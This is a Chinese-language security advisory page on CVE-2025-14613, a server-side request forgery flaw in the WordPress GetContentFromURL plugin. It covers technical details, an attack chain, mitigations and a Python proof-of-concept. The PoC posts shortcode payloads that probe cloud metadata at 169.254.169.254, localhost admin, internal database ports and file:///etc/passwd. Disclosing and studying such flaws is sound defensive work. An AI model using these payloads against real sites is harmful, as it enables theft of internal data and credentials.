IPBUF安全漏洞报告
English
CVE-2025-14613 CVSS 7.2 高危

CVE-2025-14613 WordPress GetContentFromURL插件SSRF漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-14613
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GetContentFromURL plugin for WordPress

相关标签

SSRF服务器端请求伪造WordPress插件漏洞GetContentFromURLwp_remote_get短代码漏洞CVE-2025-14613高危漏洞CVSS 7.2

漏洞概述

CVE-2025-14613是WordPress插件GetContentFromURL中的一个高危服务器端请求伪造(SSRF)漏洞。该插件在所有版本(直至并包括1.0版本)中存在此安全缺陷,漏洞源于插件在处理[gcfu]短代码的'url'参数时,使用了wp_remote_get()函数而非更安全的wp_safe_remote_get()函数。由于wp_remote_get()缺乏安全检查,攻击者可以利用此漏洞从Web应用程序向任意位置发起Web请求,从而查询和修改内部服务信息。攻击者需要具备Contributor级别或更高的WordPress用户权限即可利用此漏洞,成功利用可导致敏感数据泄露、内网服务探测甚至进一步横向移动。

技术细节

漏洞的核心问题在于WordPress安全函数的选择性使用。wp_safe_remote_get()是WordPress提供的安全远程请求函数,它会对目标URL进行安全检查,防止请求指向内部网络资源(如localhost、127.0.0.1、内网IP段等)。然而,GetContentFromURL插件在shortcode.class.php的第20行直接使用了wp_remote_get(),该函数不包含这些安全限制。攻击者通过构造恶意的URL参数,可以利用受害者服务器作为代理访问内网资源、读取本地文件(通过file://协议)、扫描内部端口或获取云服务的元数据。攻击者利用[gcfu]短代码在文章或页面中嵌入恶意请求,服务器执行时会自动访问攻击者指定的目标地址,从而暴露内部网络拓扑和服务信息。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别账户凭据或通过其他方式获取该级别权限
STEP 2
步骤2
攻击者登录WordPress后台,创建或编辑文章/页面
STEP 3
步骤3
攻击者在文章内容中插入包含恶意URL的[gcfu]短代码,如[gcfu url="http://内部IP/敏感路径"]
STEP 4
步骤4
当页面被访问或预览时,服务器执行wp_remote_get()向攻击者指定的URL发起请求
STEP 5
步骤5
攻击者通过返回的内容获取内部服务响应数据,实现信息收集或内网探测
STEP 6
步骤6
利用收集的内部信息进行进一步横向移动或深度攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14613 PoC - GetContentFromURL SSRF Exploitation # Authenticated attackers with Contributor-level access can exploit this SSRF import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" ATTACKER_URL = "http://attacker.com" LOGIN_URL = f"{TARGET_URL}/wp-login.php" POST_URL = f"{TARGET_URL}/wp-admin/post-new.php" def exploit_ssrf(): """Exploit SSRF via [gcfu] shortcode""" # Step 1: Login with Contributor account session = requests.Session() login_data = { 'log': 'contributor_username', 'pwd': 'contributor_password', 'wp-submit': 'Log In', 'redirect_to': POST_URL } session.post(LOGIN_URL, data=login_data) # Step 2: Create post with malicious SSRF payload # Scan internal services (e.g., AWS metadata at 169.254.169.254) ssrf_payloads = [ '[gcfu url="http://169.254.169.254/latest/meta-data/"]', # AWS metadata '[gcfu url="http://localhost/admin"]', # Local admin panel '[gcfu url="http://internal-database:3306/"]', # Internal DB port scan '[gcfu url="file:///etc/passwd"]', # Local file access ] for payload in ssrf_payloads: post_data = { 'post_title': 'SSRF Test Post', 'content': payload, 'post_status': 'draft', 'publish': 'Publish' } response = session.post(POST_URL, data=post_data) print(f"Payload sent: {payload}") print(f"Response status: {response.status_code}") if __name__ == "__main__": exploit_ssrf()

影响范围

GetContentFromURL plugin for WordPress <= 1.0 (所有版本)

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1) 临时禁用或删除GetContentFromURL插件;2) 移除所有用户使用[gcfu]短代码的权限;3) 通过Web应用防火墙配置SSRF防护规则,拦截包含内网IP、localhost或file://协议的请求;4) 加强对WordPress Contributor及以上级别账户的访问控制,使用强密码和多因素认证;5) 监控系统日志,关注异常的外部HTTP请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表